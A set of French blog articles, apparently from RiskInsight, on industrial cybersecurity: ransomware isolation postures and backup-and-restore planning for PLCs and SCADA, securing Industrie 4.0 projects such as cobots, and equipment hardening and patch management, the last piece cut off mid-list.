Rappel de l’état de la menace

L’ANSSI indique dans ÉTAT DE LA MENACE RANÇONGICIEL – À L’ENCONTRE DES ENTREPRISES ET INSTITUTIONS[1] publié le 05/02/2020 : « Depuis 2018, l’ANSSI et ses partenaires constatent que de plus en plus de groupes cybercriminels possédant des ressources financières et des compétences techniques importantes favorisent le ciblage d’entreprises et institutions particulières dans leurs attaques par rançongiciel. ».

Face à ce constat, il est plus que jamais nécessaire de sécuriser les systèmes d’information. Cela passe bien entendu par l’application des fondamentaux de la sécurité : application des mises à jour, gestion des comptes et des mots de passe, gestion de la segmentation réseau etc. Pour rappel, l’application de ces premières mesures permet déjà de réduire sensiblement la probabilité qu’un système d’information soit sujet à un rançongiciel, mais ne peut en aucun cas garantir que cela n’arrivera pas.

Spécificité du secteur industriel

Cependant, même si de nouvelles solutions de défense sont continuellement développées, le coût et la complexité de déploiement de certaines d’entre elles les rendent finalement peu usitées. Cela est d’autant plus vrai en milieu industriel, où leur intégration peut s’avérer complexe, certains systèmes étant figés dans une configuration fonctionnelle. De plus, les budgets alloués à la sécurité informatique en milieu industriel, bien qu’en augmentation ces dernières années, ne sont pas encore suffisants pour bon nombre de sites.

Par ailleurs, un système d’information industriel partage une base commune avec un système d’information classique, et est donc sujet aux mêmes attaques. Bien entendu, des attaques telles que Stuxnet, Triton, ou encore BlackEnergy (à plus faible échelle) nécessitent des compétences supplémentaires. Cependant, il est toujours bon de rappeler que les cibles d’intérêt pour les groupes possédant ce type de moyens sont généralement déjà soumises à des obligations règlementaires (LPM, directive NIS etc.), qui si respectées, limitent grandement les risques qu’une attaque soit réussie à leur encontre. Pourtant, ces systèmes ne sont pas invulnérables, et doivent donc également se préparer à y répondre.

Attaque inévitable sur les systèmes industriels : comment minimiser l’impact et redémarrer les opérations rapidement ?

Il apparait donc que :

• Se protéger de la menace est souvent limité à l’application des mesures de sécurité basiques si aucune obligation règlementaire n’est applicable au système d’information cible ;
• Identifier les sources de menace et détecter une attaque avant qu’elle n’atteigne son objectif nécessite dans l’immense majorité des cas des moyens trop importants vis-à-vis des budgets des systèmes d’information industriels actuels.

En partant du principe que la probabilité qu’un système d’information subisse une cyberattaque réussie, et plus spécifiquement un rançongiciel, dans un avenir proche est quasi certaine, la question suivante se pose donc : « Comment se préparer à une cyberattaque majeure, maintenir les activités critiques dans un mode dégradé, le tout en regagnant rapidement confiance dans le système d’information industriel ? ».

La réponse à cette question est couverte par les deux derniers piliers de la sécurité informatique d’après le framework NIST : respond (répondre) et recover (récupérer). Une tentative de réponse à cette question est présentée dans cet article.

Note : la première partie de cet article « Comment répondre à une attaque avant qu’il ne soit trop tard ? » n’est pas nécessaire à la mise en place des recommandations détaillées dans la seconde partie « Comment récupérer après une attaque si elle n’a pas pu être circonscrite ? ». Bien que l’implémentation de mesures de filtrage réseau soit vivement conseillée, il peut être intéressant pour les sites où la mise en place desdites mesures de filtrage est trop longue, de commencer par la partie préparation de la remédiation à une cyberattaque, plus facile à mettre en œuvre.

Comment répondre à une attaque avant qu’il ne soit trop tard ?

Impliquer les équipes industrielles

Avant de parler des mesures pouvant être mises en place pour répondre à un incident de sécurité numérique, il peut être intéressant de rappeler que le personnel industriel est habitué la gestion de crise.

En effet, bon nombre d’industries organisent régulièrement des exercices de gestions de crises (incendie, risque chimique, catastrophe naturelle etc.). Sur la majorité des sites sensibles, des procédures sont donc déjà disponibles pour répondre à ce type d’incident, le tout sous la direction d’un responsable dédié. Par ailleurs, des protections physiques autonomes sont généralement disponibles : soupape de surpression, clapet anti-retour, sprinkler etc. bien qu’ils soient parfois remplacés par des systèmes instrumentés de sécurité connectés.

Le contexte est donc propice à l’ajout d’une nouvelle procédure afin de répondre à une attaque informatique. Celle-ci consistera généralement en l’isolation du système d’information industriel de l’extérieur via une procédure dite de « bouton rouge ». Afin de rédiger la procédure associée, l’implication du personnel du site sera essentielle, notamment pour s’assurer que l’application de cette dernière ne soit pas plus nocive que l’attaque elle-même.

Un prérequis à la mise en place de posture d’isolement : la maitrise de ses flux et l’implémentation de cloisonnement/filtrage réseau

En effet, il est nécessaire de mesurer les impacts engendrés par l’usage du « bouton rouge ». Pour cela, il faut tout d’aborder lister les interconnexions du site industriel avec d’autres systèmes.

Lister les interconnexions avec d’autres systèmes d’informations

Il peut être intéressant de commencer par lister les flux entre le système d’information industriel et l’extérieur. En premier lieu, il convient de définir ce que contient ce système. Dans un cas basique, il regroupe les automates industriels, la supervision, ainsi que le matériel nécessaire à l’interconnexion des deux premiers.

D’autres équipements peuvent ensuite venir s’y greffer : un serveur d’historisation, des postes clients pour la supervision, un NAS etc. Ce réseau, nommé réseau industriel par la suite, est généralement connecté avec d’autres réseaux afin de partager des informations avec des équipements de ces derniers.

Il est notamment possible de citer :

• Des échanges avec l’ERP de l’entreprise (qu’un MES – Manufacturing Execution System soit présent ou non), généralement localisé sur le réseau bureautique ;
• Des échanges avec des partenaires : régulation des réseaux électriques, d’eau, de gaz etc.
• Des échanges avec des fournisseurs de service : météo, solutions cloud d’optimisation énergétique, de maintenances prédictives etc.

Ces flux, bien qu’utiles pour simplifier l’exploitation, peuvent généralement être temporairement coupés ou remplacés par des moyens de substitution (appel téléphonique pour indiquer les niveaux de production par exemple).

Par ailleurs, chaque site industriel est différent, et gère donc différemment ces interconnexions. Il est notamment courant de voir des réseaux MPLS dédiés aux sites industriels lorsque l’entreprise en possède plusieurs. Dans d’autres cas, le réseau bureautique sera utilisé pour les fédérer. Il en va de même pour les besoins de connexion entre ces réseaux industriels et Internet, qui passent parfois d’abord par le réseau bureautique, ou bénéficient d’une sortie directe.

Lister ses flux internes

Après avoir listé les interconnexions entre le réseau industriel et l’extérieur, il reste à lister les flux internes. La majorité de ces flux devraient être strictement nécessaires au bon fonctionnement du processus industriel, tels que ceux entre la supervision et les automates. La coupure de ces connexions nécessiterait donc de stopper le processus industriel, ou au minimum de le mettre en sûreté.

Il peut alors être intéressant de séparer les équipements et flux associés en plusieurs zones :

• Supervision ;
• Réseau de terrain ;
• Autres (postes clients de la supervision, serveur d’historisations, etc.).

La mise en place de ces zones permet de réduire drastiquement l’exposition de ces composants. En effet, seule la supervision devrait avoir accès aux réseaux de terrain, tandis que la catégorie « autres » ne devrait pouvoir accéder qu’à la supervision.

D’autres zones peuvent être nécessaires à implémenter telles que :

• Une zone d’administration : qui pourrait également être utilisée pour programmer les automates en fonction de la répartition des rôles et des responsabilités sur le site ;
• Une DMZ : pouvant accueillir un serveur relais afin que les équipements extérieurs au site industriel ne se connectent pas directement à la supervision pour venir récupérer les données de production etc.

En fonction des services proposés (serveur WSUS, serveur antivirus, Terminal Server pour la prise en main à distance etc.) d’autres zones peuvent bien évidemment encore être ajoutées.

Evaluer le réel besoin de ses flux

Après avoir listé l’ensemble de ces flux, il est intéressant d’identifier le besoin réel de chacun d’entre eux. Par exemple, est-ce vraiment nécessaire de pouvoir accéder à ses courriers électroniques depuis un serveur de supervision ?

Afin de limiter l’exposition du réseau industriel à l’extérieur, il pourrait également être nécessaire de sortir certains équipements de ce dernier. Par exemple, si une base de données accédée depuis le réseau bureautique est alimentée par la supervision, mais non utile à celle-ci, l’héberger directement sur le réseau bureautique peut s’avérer plus simple que de tenter d’en limiter les accès.

Une fois les flux nécessaires clairement identifiés, il convient de configurer les règles de filtrage associées de manière fine (adresse IP source, adresse IP destination, port de destination). Ce travail nécessite généralement un investissement humain important, principalement des équipes en charge du site industriel, ainsi qu’un coût matériel non négligeable pour se doter d’équipements de sécurité. C’est cependant un prérequis à la mise en place des postures de repli décrites par la suite. Dans un cas idéal, un filtrage applicatif (niveau 7 du modèle OSI) pourrait également être implémenté.

Ce travail, bien qu’essentiel à la mise en place de postures d’isolement, est également l’une des actions fondamentales à réaliser dans le cadre de la sécurisation d’un système d’information (industriel ou non). En effet, chaque flux coupé est un flux qu’il n’est pas nécessaire de surveiller, ainsi qu’un flux de moins exploitable par un attaquant.

Préparer ses postures de repli

L’isolation complète de l’ensemble des équipements d’un système d’information industriel n’est pas toujours souhaitable, même en cas d’attaque. Après avoir listé ces flux, il peut alors être intéressant de ne pas mettre en place une seule posture d’isolement, mais plusieurs postures de repli, permettant dans certains cas de pouvoir continuer à travailler presque normalement.

Posture de repli préventif : isoler l’usine en cas d’attaque sur un réseau tiers

Après avoir identifié les flux entre le réseau industriel et l’extérieur, il est possible de créer une posture de repli associée afin de les désactiver en cas de besoin. L’objectif de cette posture est de couper toutes les interconnexions du réseau industriel avec l’extérieur afin d’empêcher toute propagation d’une attaque. Une solution éprouvée est de regrouper ces flux sur quelques ports Ethernet dédiés. Ainsi, il suffit d’indiquer dans les procédures associées de débrancher les câbles associés pour activer la posture de repli. Cela évite également d’intervenir sur la configuration des pare-feux en cas d’incident de cybersécurité.

Par ailleurs, il est également nécessaire de définir les cas où cette posture devrait être activée. Si elle peut l’être sans poser de problème particulier à la production, ni ajouter trop travail au personnel du site, la question peut se poser de la réelle nécessité de ces flux.

Si cette posture a bel et bien des impacts sur les activités industrielles du site, il faut donc trouver un bon équilibre entre la déclencher trop tôt (dès que l’antivirus d’un poste de travail bureautique remonte une alerte), ou trop tard (après le chiffrement des premiers postes industriels). Cela dépendra également du contexte de l’entreprise et de ses moyens (équipe de veille sécurité dédiée ou non etc.).

Spécificité (sites distribués, non autonomes etc.)

Dans le cas où l’ensemble des flux avec l’extérieur n’ont pas la même destination, il peut être également intéressant de décliner plusieurs postures de repli spécifiques. En effet, si le prestataire en charge de la gestion des caméras du site alerte sur le fait qu’il subit une attaque par rançongiciel, il semble plus optimal de ne déconnecter que les flux entre ce prestaire et le réseau de l’usine, plutôt que l’ensemble des flux, incluant notamment ceux vers l’ERP.

Dans le cas où le processus industriel est distribué sur plusieurs sites (usine de production et de distribution notamment), l’activation de la posture de repli préventif ne devrait pas couper les flux entre ces différents sites. En effet, des liaisons spécifiques devraient y être dédiées. Si cela n’est pas le cas, utilisation du réseau bureautique pour assurer ces connexions par exemple, un projet de refonte du réseau industriel est probablement à prévoir (déploiement d’une VRF dédiée, ou d’un réseau SDWAN par exemple).

Enfin, il est toujours bon de rappeler que chaque usine étant différente, une étude locale sera à mener sur chacune pour en comprendre les spécificités.

Posture de repli de dernier recours : couper le système d’information en cas d’attaque avérée sur l’usine

Enfin, il peut être intéressant de préparer une posture de repli de dernier recours. Cette dernière devrait consister en l’isolation de chaque VLAN (si définis, de préférence avec une interface locale homme-machine par VLAN pour assurer un mode dégradé) ou de chaque équipement (extinction des commutateurs – switch) afin d’empêcher l’attaquant de continuer ses actions, qui, dans les cas d’attaques les plus avancées, pourraient cibler directement le processus industriel du site.

L’objectif est alors de mettre le site en sûreté ou d’en assurer les services essentiels. L’activation de cette posture implique de travailler sans système d’information, et ne devrait être appliquée qu’en cas de compromission avérée d’au moins un équipement du site puisqu’elle aboutit au même résultat immédiat qu’un rançongiciel, si ce n’est pire.

Un travail en amont avec les exploitants sera nécessaire afin de lister l’ensemble des actions à réaliser lors de l’activation de cette posture et définir des modes dégradés. En effet, cela va généralement nécessiter d’activer des astreintes afin de réaliser manuellement certaines tâches : vérification du bon fonctionnement des équipements, notamment sur les sites distants, utilisation des interfaces hommes-machines locales, etc. Par ailleurs, certains processus industriels ne sont plus pilotables manuellement aujourd’hui, et devront donc être compléments stoppés puisqu’aucun mode dégradé n’est disponible.

Afin d’estimer les impacts de l’activation d’une telle posture, il peut être intéressant de s’intéresser aux impacts listés en cas d’incendie ou de panne générale d’électricité. Par ailleurs, seul un test réel de cette posture permet de s’assurer de ses impacts opérationnels.

Comment récupérer après une attaque si elle n’a pu être circonscrite ?

Dans certains cas, l’activation des postures de repli peut ne pas suffire à protéger l’ensemble du système d’information industriel, notamment si elles sont activées trop tard. Il est alors essentiel de pouvoir procéder à la reconstruction de tout ou partie dudit système dans un temps suffisamment court pour limiter les impacts associés.

Les principaux prérequis nécessaires à la restauration d’un système d’information industriel sont listés ci-après.

Que faut-il sauvegarder pour pouvoir restaurer ses automates ?

Afin de pouvoir redémarrer l’usine, il est nécessaire dans la plupart des cas de commencer à restaurer les automates, ce qui nécessite deux éléments principaux.

Posséder une copie à jour de ses programmes automates

Les automates sont épargnés dans la plupart des attaques actuelles, probablement puisque cibler les postes Windows suffit aux attaquants pour atteindre leurs objectifs visés. Cependant, les attaques sont amenées à être de plus en plus ciblées, et la majorité des automates actuellement en service ne sont pas sécurisables (communications non chiffrées et non authentifiées, mots de passe par défaut, fonctionnalité d’administration non désactivables etc.).

Il convient donc de sauvegarder ces programmes, ce qui est déjà généralement le cas, notamment sur le poste de programmation (appartenant parfois à un prestataire) utilisé lors de la mise en service de l’appareil. Il est à noter que ces sauvegardes devraient être stockées sur au moins un support hors-ligne, de façon à ne pas les voir chiffrer au même moment que le poste les hébergeant.

Ces constats restent valables même pour les nouvelles gammes d’automates, qui, bien que bénéficiant d’un niveau de sécurité sans commune mesures avec leurs prédécesseurs, ne sont pour autant pas invulnérables.

Sauvegarder un moyen de télécharger ces programmes sur les automates

La majorité des automates nécessite un logiciel dédié pour être programmé. Et ce, même pour simplement télécharger un programme déjà écrit. Il convient donc de posséder une copie de ces programmes.

Dans certains cas, un poste de programmation déconnecté du réseau et réservé à cet usage peut être une solution. Il est cependant à noter que le maintien en condition de sécurité d’un tel poste peut rapidement s’avérer complexe. Si cette solution est sélectionnée, ce poste pourrait également héberger la copie des programmes automates. Garder un second jeu de sauvegarde hors-ligne (disque dur externe par exemple) serait cependant une sécurité supplémentaire.

Par ailleurs, si de nouvelles gammes d’automates sont utilisées, avec les dernières fonctionnalités de sécurité activées, d’autres éléments sont à sauvegarder tels que : les mots de passe des programmes automates, les certificats utilisés pour certaines communications (ou un moyen d’en regénérer) etc.

Ces prérequis sont également valables pour les équipements réseaux (pare-feux, commutateurs etc.).

Que faut-il sauvegarder pour pouvoir restaurer son matériel informatique essentiel ?

Identifier ce qui est vraiment nécessaire

La restauration des superviseurs, et des postes clients associés, revient généralement à restaurer un système Windows et les programmes associés. Plusieurs questions sont alors à se poser pour identifier les éléments à sauvegarder :

• Quels sont les équipements nécessaires ? Un poste d’ingénierie, un superviseur, quelques postes opérateurs ?
• Est-il possible de réinstaller le superviseur de zéro (nouvelles installations de Windows et du logiciel de supervision) puis d’y déposer une sauvegarde de la configuration du superviseur ? Est-ce réalisable en un temps suffisamment court ?
• Une copie complète du disque du superviseur ne serait-elle pas plus simple ? Il suffirait en effet d’insérer le disque sauvegardé pour redémarrer.
• Des modifications sont-elles régulièrement apportées au logiciel de supervision ? Si oui, est-il nécessaire de toutes les sauvegarder ? Dans ce cas, il parait complexe de réaliser une copie complète du disque à chaque fois.

Sauvegarder intelligemment

Dans la majorité des cas, les sauvegardes des postes Windows sont réalisées de la même manière que celles des programmes automates, c’est-à-dire en réalisant des copier/coller. Il pourrait alors être intéressant de s’intéresser aux mécanismes de sauvegarde automatique. Cependant, ces derniers sont probablement à proscrire pour les usines partant de zéro et ne bénéficiant pas d’un budget suffisant pour les installer sereinement. En effet, la mise en œuvre de ce type de solution de manière sécurisée reste généralement plus complexe que de réaliser une simple copie bit à bit d’un disque dur.

Ne pas négliger la documentation et l’entrainement

Avoir à disposition des sauvegardes complètes n’est cependant pas suffisant. Il est également nécessaire de rédiger les modes opératoires détaillés permettant de restaurer ces sauvegardes. En effet, si une crise venait à survenir, le stress des équipes, et l’indisponibilité potentielle de certains des sachants, pourraient mener à des erreurs de manipulations en l’absence de documentation.

Ces procédures n’ont pas vocation à permettre une restauration complète de l’ensemble des systèmes, mais au moins de permettre de redémarrer les éléments essentiels précédemment identifiés :

• Un poste d’ingénierie avec les logiciels de programmation automates associés ;
• Un superviseur ;
• Deux à trois postes de travail des opérateurs ;
• Les automates essentiels de l’usine.

Par ailleurs, il est généralement recommandé de bénéficier d’au moins deux jeux de sauvegardes, l’un stocké à proximité des équipements concernées, l’autre à stocker sur un site physiquement éloigné, et dont l’accès est limité à un nombre restreint de personnes. Il peut être tentant de stocker un jeu de sauvegarde supplémentaire en ligne, mais il est à noter qu’en cas de cyberattaque, et d’activation des postures de repli, il soit complexe de télécharger ces sauvegardes et de les déposer sur les systèmes à restaurer.

Enfin, il est essentiel de tester l’ensemble de ces procédures pour s’assurer qu’elles sont exhaustives. Un test pourrait par exemple être l’occasion de se rendre compte que la sauvegarde de la configuration du superviseur n’inclut pas la clé de licence, ou encore que les mots de passes configurés lors de la copie complète du disque aient été modifiés depuis sans en garder l’historique.

Conclusion

La gestion des crises est une composante importante du métier de beaucoup d’exploitants de systèmes industriels. Ces mêmes personnes sont également les plus en maitrise sur leur périmètre. Pour autant, il ne s’agit généralement pas d’experts en informatique. Des mesures pragmatiques, et adaptées à leur contexte, seront donc bien plus utiles qu’un guide générique de 200 pages regroupant l’ensemble des bonnes pratiques à appliquer sur un système d’information.

Tout comme en développement avec le principe KISS (Keep it simple,stupid), les postures de repli, ainsi que les procédures de restauration, devraient rester simples à comprendre, et stupides à appliquer.

Par ailleurs, bien que l’application d’une politique de filtrage réseau stricte ne peut qu’être conseillée, elle n’est pas strictement nécessaire à la mise en place des actions de sauvegarde et restauration. Ainsi, même si la probabilité qu’une attaque aboutisse n’en sera que plus forte, il sera toujours possible de restaurer les systèmes critiques.

Enfin, il est à noter que de plus en plus de processus industriels fonctionnent aujourd’hui en flux tendu. Dans ce type de contexte, la préservation du système industriel d’une attaque, ou la capacité de le restaurer rapidement, ne serait pas suffisant à maintenir le niveau de production si la gestion des commandes ou de la distribution par exemple sont indisponibles. La cyber résilience doit donc être prise en compte à l’échelle de l’entreprise, et non uniquement au niveau du site industriel.

Eléments clés

Pour répondre à une attaque avant qu’il ne soit tard il est nécessaire :

• D’impliquer les équipes industrielles (sans quoi il est fort probable que l’informatique survive à l’attaque, mais sans que l’usine ne continue de répondre à sa mission première) ;
• De maitriser ses flux et implémenter un cloisonnement/filtrage réseau afin de pouvoir mettre en place des postures de repli :
  • Préventives, afin d’isoler l’usine en cas d’attaque sur un réseau tiers sans pour autant impacter de manière trop significative le processus industriel ;
  • De dernier recours, afin de couper le système d’information en cas d’attaque avérée sur l’usine avant que l’attaquant ne modifie le processus industriel.
• De tester ces postures de repli, afin de s’assurer que leur activation ne soit pas pire que l’attaque.

Et dans le cas où l’attaque n’a pu être circonscrite, les éléments suivants sont généralement nécessaires afin de pouvoir récupérer de ladite attaque :

• Posséder une copie à jour de ses programmes automates ;
• Sauvegarder un moyen de télécharger ces programmes sur les automates ;
• Posséder au moins une copie de l’ensemble des sauvegardes critiques sur un support hors-ligne (disque dur externe par exemple) ;
• Identifier son matériel informatique essentiel (notamment afin de ne pas restaurer le serveur d’historisation avant celui de supervision…) ;
• Sauvegarder intelligemment, parfois une copie bit à bit du disque dur est plus efficace qu’une copie automatique sur un serveur dédié, généralement chiffré en même temps que le système dont il héberge les sauvegardes ;
• Ne pas négliger la documentation et l’entrainement (dans le cas contraire, une clé de licence oubliée, ou un sachant en vacances pourrait rapidement signer la fin de la restauration…).

[1] www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf

Une nouvelle version de l’état de la menace a été publiée en ce début d’année : https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-001.pdf

Cet article Cyber résilience en milieu industriel est apparu en premier sur RiskInsight.

Faisons un détour par une page d’histoire, avant de nous plonger dans le cœur de notre sujet :

• Au XVIII^e siècle, la machine à vapeur de James Watt et l’exploitation du charbon changent la manière de travailler. L’utilisation de machines hydrauliques fait évoluer les ateliers artisanaux en des usines bien plus performantes : la 1^re révolution industrielle bat son plein.
• Ensuite, la 2^e révolution industrielle connue pour le taylorisme et la production en série repose sur l’utilisation de l’électricité et du pétrole. Les longues chaînes d’assemblage, chères à Charlie Chaplin, viennent remplacer les machines hydrauliques et à vapeur désormais désuètes.
• Le développement des nouvelles technologies de l’information, dès 1970, épaulant les opérateurs dans les tâches les plus difficiles caractérise la 3^e révolution industrielle. Elle permet notamment une robotisation accrue et production de plus grandes séries.

Cette 4^e révolution industrielle marque l’arrivée de nouvelles technologies toujours plus connectées aboutissant à un haut niveau de dépendance à l’informatique

L’Industrie 4.0 regroupe un ensemble d’avancées technologiques et d’outils techniques permettant d’optimiser des processus industriels.

Prenons un exemple concret d’un cas d’usage :

Une entreprise a besoin d’accélérer sa cadence de production et de robotiser une partie de ses actions pour gagner du temps. Par exemple, des actions de vissage. Elle choisit d’utiliser pour cela un robot collaboratif, aussi appelé « cobot »[1] capable de réaliser des actions en simultané ou sur un même espace de travail qu’un opérateur. Celui-ci aura la charge de présenter les pièces à visser au cobot.

La mise en place de ce binôme permet, en plus de réduire le délai d’exécution, d’augmenter la qualité du produit fini.

Les cas d’usage liés à l’Industrie 4.0 augmentent le risque cyber pesant sur les processus métiers. Deux raisons à cela : la nécessité de nouvelles interconnexions des systèmes industriels avec l’extérieur et l’augmentation de l’impact potentiel en cas de compromission.

Quels sont les impacts pour la cybersécurité dans toute cette histoire ? Si nous poursuivons avec ce cobot, le vissage, initialement effectué manuellement par un opérateur, est maintenant facilité par l’utilisation du cobot. Le cobot doit être connecté pour recevoir des ordres et être mis à jour.

• L’opération manuelle est remplacée par une opération informatisée maintenant exposée à une cyberattaque

Sur un robot classique, une « cage de sécurité » est présente pour éviter une intrusion d’un opérateur pendant le fonctionnement de la machine-outil. Sur un cobot, comme il y a collaboration avec l’opérateur cette protection n’existe pas. Un impact en cas de contact entre le tournevis du cobot et la main de l’opérateur serait particulièrement grave pour celui-ci !

• L’introduction de nouvelles technologies peut augmenter la gravité d’une attaque cyber

Et cela n’est pas la seule conséquence d’une utilisation non sécurisée d’une telle technologie :

• La modification d’une valeur dans le cobot concernant le couple de vissage peut entrainer un défaut de qualité en cas de mauvais serrage ;
• L’importance plus élevée des opérations assistées implique qu’en cas de défaillance, l’impact sera plus fort sur la production… ce qui va rapidement induire un impact financier.

Résumons de manière un peu simpliste :

La question est maintenant de savoir comment traiter ces risques, sans bloquer les demandes légitimes des opérationnels. Spoiler : non, refuser le projet n’est pas la solution !

Les équipes responsables de la cybersécurité peuvent anticiper les besoins de mise en place de technologies 4.0 par l’établissement de fiches réflexes adaptées

D’un point de vue technique nous pouvons regrouper les avancées liées à l’Industrie 4.0 autour de quelques grandes thématiques : réalité augmentée, objet connecté, fabrication additive… En amont des projets et avec quelques acteurs métiers bien renseignés autour de la table, il est possible d’anticiper les demandes potentielles.

L’objectif pour l’équipe cybersécurité va être alors de dresser le portrait-robot des cas d’usage type, en déduire les risques potentiels et commencer à identifier des mesures de sécurité adaptées pour y répondre. C’est aussi l’occasion de proposer des check-lists « Industrie 4.0 » pour sensibiliser en amont des projets.

Concrètement, voici un exemple de fiche réflexe type appliquée à notre cobot vu précédemment :

En se préparant en amont, les équipes cybersécurité sont plus pertinentes et efficaces lorsqu’un nouveau projet est sur le point de démarrer.

Prêt à se lancer dans un projet « 4.0 » ? C’est l’occasion idéale d’accompagner le métier dans la transformation de son usine en proposant des services de cybersécurité adaptés.

L’avantage des projets « Industrie 4.0 » consiste dans leur capacité à faire évoluer en profondeur les fondations, parfois un peu poussiéreuses, des systèmes et réseaux déjà installés en usine.

Un projet de convoyeur a-t-il besoin d’échanger des informations avec l’extérieur de l’usine ? C’est l’occasion de proposer un serveur d’échange de fichiers sécurisés dans votre DMZ[2] industrielle (en absence de celle-ci, c’est également le bon moment pour y réfléchir…). Un système de réalité augmentée a-t-il besoin d’une connexion sans fil plus stable ? C’est le moment d’engager une réflexion sur le renforcement du contrôle des appareils pouvant s’y connecter…

Au risque de reprendre des évidences ici, l’idéal est d’arriver en amont des projets, par une approche constructive, plutôt qu’à travers une PSSI[3] de 100 pages et des guides de normes et règles techniques non adaptés aux cas d’usages présentés.

Pour l’analyse de risques d’un projet « Industrie 4.0 », la méthode d’analyse de risques EBIOS RM facilite les échanges par le partage de scénarios stratégiques compréhensibles par le métier

Une fois les discussions engagées autour d’un projet concret, il est utile de réaliser une analyse de risques qui servira de support aux discussions. Sa profondeur et sa méthode vont dépendre de la taille et des risques du projet.

Cette analyse va permettre d’affiner les objectifs que l’on souhaite protéger, prendre du recul sur l’écosystème en place et définir des scénarios d’attaques les plus probants.

Voici quelques exemples de scénarios fréquemment retrouvés :

• Le sabotage logique à des fins financières (version longue du scénario Ransomware) : Une attaque ciblée ou non, permettant de rendre les équipements indisponibles en vue d’un gain financier.
• L’arrêt/ralentissement de la production : Sabotage ciblé en vue d’obtenir un avantage concurrentiel, une revanche par idéologie ou juste par défi peut être opéré par un concurrent malveillant, un vengeur, un terroriste, un activiste ou voir même un amateur en quête de frissons. Attention également à ne pas oublier les erreurs de manipulation !
• L’altération de la qualité de la pièce produite: sabotage plutôt sophistiqué et ciblé impactant la qualité des produits pour décrédibiliser l’entreprise ou simplement créer des dégâts.

La conclusion de l’analyse de risques va permettre de définir précisément les mesures de cybersécurité à mettre en place et les risques résiduels associés.

Sortir du modèle tout « château fort », à savoir tout miser sur l’isolement de son SI industriel et la sécurité périmétrique, et proposer des mesures de sécurité adaptées : détection plus fine, chiffrement, MCS[4]… en quelque sorte, c’est le moment de passer aux mesures “4.0”

Nos retours d’expérience montrent que la définition d’un plan d’actions est un travail d’équilibriste dans ces projets « 4.0 ». En effet, en appliquant un modèle de sécurité trop restrictif, à base de zones et conduits type IEC 62443-3-3, nous courrons à l’incompréhension entre les parties prenantes. En effet les solutions métiers ne sont pas toutes compatibles, pas toutes matures et n’ont pas encore intégré les standards que nous aimerions voir appliquer.

Alors que faire ? Une piste pourrait être de proposer des mesures de sécurité adaptées, des mesures « 4.0 » (pour l’environnement industriel en tout cas) mais qui ont déjà fait leurs preuves dans d’autres environnements :

• Pour éviter une propagation d’une menace, renforcer les moyens de détection, surtout les flux en provenance et à destination des SI industriels. C’est le moment d’en profiter pour faire un accostage avec le SOC Groupe si ce n’est pas déjà fait.
• Afin de s’assurer de l’intégrité et la traçabilité des données transmises/reçues​, on peut mettre en place du chiffrement et de l’authentification. Vous avez déjà une PKI Groupe ? Pourquoi ne pas réfléchir à l’étendre aux périmètres industriels.
• C’est également le bon moment pour renforcer son processus de MCO / MCS. La solution est connectée avec l’extérieur ? Plus d’excuse pour ne pas installer un antivirus, le mettre à jour, installer les patchs de sécurité de son OS favori, etc. Ce point est à anticiper en amont de l’achat de la solution, plutôt qu’une fois le produit déjà installé !
• Enfin la solution est critique pour le métier ? Un volet cyber résilience doit être anticipé pour pouvoir reconstruire rapidement la solution et repartir en cas d’attaque.

Comme nous venons de le voir, les solutions ne manquent pas, mais nécessitent un accompagnement adapté de la part des équipes cybersécurité et de dépasser les modèles théoriques. Alors, profitons de ces projets « 4.0 » pour faire évoluer nos modèles de cybersécurité industrielle sans apriori !

[1] https://commons.wikimedia.org/wiki/File:Cobot.jpg licence CC : https://creativecommons.org/licenses/by-sa/4.0/deed.en

[2] Zone démilitarisée, ici la zone réseau tampon entre le SI Industriel et le SI de gestion

[3] Politique de Sécurité des Système d’Information

[4] Maintien en Conditions de Sécurité

Cet article La cybersécurité industrielle à l’ère de l’Industrie 4.0 : comment sécuriser ces nouveaux cas d’usage et accompagner les projets métiers ? est apparu en premier sur RiskInsight.

La couverture des risques dans la durée

Le durcissement des équipements

En complément d’une architecture et d’un outillage d’administration sécurisés, il convient d’élever le niveau de sécurité de chaque équipement en appliquant un principe de strict nécessaire. Un guide de durcissement générique peut être créé et adapté à chaque technologie identifiée lors de la cartographie du SI Industriel. Celui-ci permet de remédier à une partie des vulnérabilités présentes au niveau des configurations et des systèmes.

L’utilisation de solutions complémentaires peut également apporter un surplus de sécurité :

• Les antivirus connectés au réseau ou non (impliquant une mise à jour manuelle) vont couvrir les postes industriels contre les virus les plus communs ;
• La mise en place de règles strictes sur les pare feux locaux des machines va empêcher les communications, et donc intrusions, sur les ports inutilisés, et filtrer l’origine des flux en fonction des protocoles utilisés, permettant de mieux détecter des tentatives d’attaques ;
• Des solutions de gestion des comptes administrateurs locaux (par exemple LAPS pour Windows) peuvent enfin permettre de gérer les comptes administrateur natifs des postes de manière centralisée et individualisée.

Il arrive cependant qu’il ne soit plus possible de durcir un équipement du fait de sa vétusté, il faut alors travailler avec le Métier sur la gestion de l’obsolescence des équipements, sur leur éventuel remplacement et en dernier recours sur les capacités à les isoler du reste du SI. Des bloqueurs de configuration pourront également permettre, sur des postes vétustes, de restreindre l’installation et l’utilisation de composants à ceux uniquement nécessaire.

Il est important de rappeler que le SI Industriel souffre de certaines vulnérabilités, mais est avant tout l’outil de production du Métier. Le dialogue avec ces équipes est donc primordial à la compréhension de l’utilisation qu’ils en font afin de résoudre ces vulnérabilités en limitant les conséquences au maximum pour le métier.

Le maintien en conditions de sécurité

Lorsque les équipements atteignent le bon niveau de sécurité, il faut prévoir son maintien dans le temps. Différents scénarios de gestion des correctifs de sécurité ou « patchs » peuvent être définis pour répondre également aux besoins du Métier (disponibilité, intégrité) et synchronisés avec la maintenance industrielle :

1. Intégration dans les processus nominaux d’exploitation (par exemple : les processus de qualification / qualité d’une installation peuvent imposer que les équipements soient à jour). La mise à jour et l’administration des équipements tireront ainsi profit des arrêts industriels d’autant plus si une re-certification est nécessaire.

2. Préparation d’un processus de mise à jour « à chaud » en cas de faille de sécurité critique et d’un processus d’isolation préventive d’une ligne de production le temps que le procédé puisse être interrompu ;
3. Identification des équipements redondants ou périphériques sur lesquels une intervention avec simple information des responsables de sites est possible.

Afin de mettre en place ces process de patch, la cartographie réalisée précédemment doit faire apparaître un inventaire précis des équipements devant inclure :

• L’identification des équipements, leur type, localisation et nombre ;
• Les procédés industriels pour lesquels ils sont utilisés et la criticité associée ;
• Le système d’exploitation/lefirmware, les outils et la configuration ainsi que la mention des versions déployées ;
• Les besoins en termes de cybersécurité au regard des procédés supports ;
